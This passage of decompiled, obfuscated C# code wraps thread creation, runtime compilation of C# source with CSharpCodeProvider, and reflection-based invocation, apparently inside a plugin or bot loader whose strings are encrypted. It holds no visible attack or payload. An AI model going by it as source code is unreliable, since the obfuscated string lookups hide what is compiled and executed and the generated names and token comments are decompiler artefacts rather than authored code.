token 0600017F static char smethod_5(/*Parameter with token 080001CD*/string string_0, /*Parameter with token 080001CE*/int int_0) { return string_0[int_0]; } // Method smethod_6 with token 06000180 static CultureInfo smethod_6() { return CultureInfo.InvariantCulture; } // Method smethod_7 with token 06000181 static Thread smethod_7(/*Parameter with token 080001CF*/ParameterizedThreadStart parameterizedThreadStart_0) { return new Thread(parameterizedThreadStart_0); } // Method smethod_8 with token 06000182 static void smethod_8(/*Parameter with token 080001D0*/Thread thread_0, /*Parameter with token 080001D1*/string string_0) { thread_0.Name = string_0; } // Method smethod_9 with token 06000183 static void smethod_9(/*Parameter with token 080001D2*/Thread thread_0, /*Parameter with token 080001D3*/object object_1) { thread_0.Start(object_1); } // Method smethod_10 with token 06000184 static int smethod_10(/*Parameter with token 080001D4*/int int_0, /*Parameter with token 080001D5*/int int_1) { return Others.Random(int_0, int_1); } // Method smethod_11 with token 06000185 static string smethod_11(/*Parameter with token 080001D6*/object object_1) { return object_1.ToString(); } // Method smethod_12 with token 06000186 static string smethod_12(/*Parameter with token 080001D7*/object object_1, /*Parameter with token 080001D8*/object object_2) { return object_1.ToString() + object_2; } // Method smethod_13 with token 06000187 static bool smethod_13(/*Parameter with token 080001D9*/string string_0) { return string.IsNullOrWhiteSpace(string_0); } // Method smethod_14 with token 06000188 static void smethod_14(/*Parameter with token 080001DA*/string string_0, /*Parameter with token 080001DB*/bool bool_0) { Logging.WriteError(string_0, bool_0); } // Method smethod_15 with token 06000189 static bool smethod_15(/*Parameter with token 080001DC*/string string_0, /*Parameter with token 080001DD*/string string_1) { return string_0 == string_1; } // Method smethod_16 with token 0600018A static CSharpCodeProvider smethod_16() { return new CSharpCodeProvider(); } // Method smethod_17 with token 0600018B static CompilerParameters smethod_17() { return new CompilerParameters(); } // Method smethod_18 with token 0600018C static AppDomain smethod_18() { return AppDomain.CurrentDomain; } // Method smethod_19 with token 0600018D static Assembly[] smethod_19(/*Parameter with token 080001DE*/AppDomain appDomain_0) { return appDomain_0.GetAssemblies(); } // Method smethod_20 with token 0600018E static StringCollection smethod_20(/*Parameter with token 080001DF*/CompilerParameters compilerParameters_0) { return compilerParameters_0.ReferencedAssemblies; } // Method smethod_21 with token 0600018F static void smethod_21(/*Parameter with token 080001E0*/StringCollection stringCollection_0, /*Parameter with token 080001E1*/string[] string_0) { stringCollection_0.AddRange(string_0); } // Method smethod_22 with token 06000190 static CompilerResults smethod_22(/*Parameter with token 080001E2*/CodeDomProvider codeDomProvider_0, /*Parameter with token 080001E3*/CompilerParameters compilerParameters_0, /*Parameter with token 080001E4*/string[] string_0) { return codeDomProvider_0.CompileAssemblyFromSource(compilerParameters_0, string_0); } // Method smethod_23 with token 06000191 static CompilerErrorCollection smethod_23(/*Parameter with token 080001E5*/CompilerResults compilerResults_0) { return compilerResults_0.Errors; } // Method smethod_24 with token 06000192 static bool smethod_24(/*Parameter with token 080001E6*/CompilerErrorCollection compilerErrorCollection_0) { return compilerErrorCollection_0.HasErrors; } // Method smethod_25 with token 06000193 static string smethod_25(/*Parameter with token 080001E7*/string string_0, /*Parameter with token 080001E8*/string string_1) { return string_0 + string_1; } // Method smethod_26 with token 06000194 static Assembly smethod_26(/*Parameter with token 080001E9*/CompilerResults compilerResults_0) { return compilerResults_0.CompiledAssembly; } // Method smethod_27 with token 06000195 static object smethod_27(/*Parameter with token 080001EA*/Assembly assembly_1, /*Parameter with token 080001EB*/string string_0, /*Parameter with token 080001EC*/bool bool_0) { return assembly_1.CreateInstance(string_0, bool_0); } // Method smethod_28 with token 06000196 static Type smethod_28(/*Parameter with token 080001ED*/object object_1) { return object_1.GetType(); } // Method smethod_29 with token 06000197 static MethodInfo smethod_29(/*Parameter with token 080001EE*/Type type_0, /*Parameter with token 080001EF*/string string_0) { return type_0.GetMethod(string_0); } // Method smethod_30 with token 06000198 static object smethod_30(/*Parameter with token 080001F0*/MethodBase methodBase_0, /*Parameter with token 080001F1*/object object_1, /*Parameter with token 080001F2*/object[] object_2) { return methodBase_0.Invoke(object_1, object_2); } // Type Class7 with token 02000018 [/*Attribute with token 0C000011*/CompilerGenerated] [Serializable] private sealed class Class7 { // Field <>9 with token 0400008F public static readonly Class6.Class7 \u003C\u003E9; // Field <>9__4_0 with token 04000090 public static Func<Assembly, bool> \u003C\u003E9__4_0; // Field <>9__4_1 with token 04000091 public static Func<Assembly, string> \u003C\u003E9__4_1; // Field <>9__4_2 with token 04000092 public static Func<string, CompilerError, string> \u003C\u003E9__4_2; // Method .cctor with token 06000199 static Class7() { Class6.Class7.\u003C\u003E9 = new Class6.Class7(); } // Method .ctor with token 0600019A public Class7() { base.\u002Ector(); } // Method method_0 with token 0600019B internal bool method_0(/*Parameter with token 080001F3*/Assembly assembly_0) { if (!Class6.Class7.smethod_0(assembly_0)) return !Class6.Class7.smethod_5(Class6.Class7.smethod_1(assembly_0), Class6.Class7.smethod_4(Class6.Class7.smethod_3(Class6.Class7.smethod_2()), \u003CModule\u003E.smethod_4<string>(3884101084U))); return false; } // Method method_1 with token 0600019C internal string method_1(/*Parameter with token 080001F4*/Assembly assembly_0) { return Class6.Class7.smethod_6(assembly_0); } // Method method_2 with token 0600019D internal string method_2(/*Parameter with token 080001F5*/string string_0, /*Parameter with token 080001F6*/CompilerError compilerError_0) { return Class6.Class7.smethod_7((object) string_0, (object) compilerError_0, (object) \u003CModule\u003E.smethod_6<string>(1641578550U)); } // Method smethod_0 with token 0600019E static bool smethod_0(/*Parameter with token 080001F7*/Assembly assembly_0) { return assembly_0.IsDynamic; } // Method smethod_1 with token 0600019F static string smethod_1(/*Parameter with token 080001F8*/Assembly assembly_0) { return assembly_0.CodeBase; } // Method smethod_2 with token 060001A0 static Process smethod_2() { return Process.GetCurrentProcess(); } // Method smethod_3 with token 060001A1 static string smethod_3(/*Parameter with token 080001F9*/Process process_0) { return process_0.ProcessName; } // Method smethod_4 with token 060001A2 static string smethod_4(/*Parameter with token 080001FA*/string string_0, /*Parameter with token 080001FB*/string string_1) { return string_0 + string_1; } // Method smethod_5 with token 060001A3 static bool smethod_5(/*Parameter with token 080001FC*/string string_0, /*Parameter with token 080001FD*/string string_1) { return string_0.Contains(string_1); } // Method smethod_6 with token 060001A4 static string smethod_6(/*Parameter with token 080001FE*/Assembly assembly_0) { return assembly_0.Location; } // Method smethod_7 with token 060001A5 static string smethod_7(/*Parameter with token 080001FF*/object object_0, /*Parameter with token 08000200*/object object_1, /*Parameter with token 08000201*/object object_2) { return object_0.ToString() + object_1 + object_2; } } }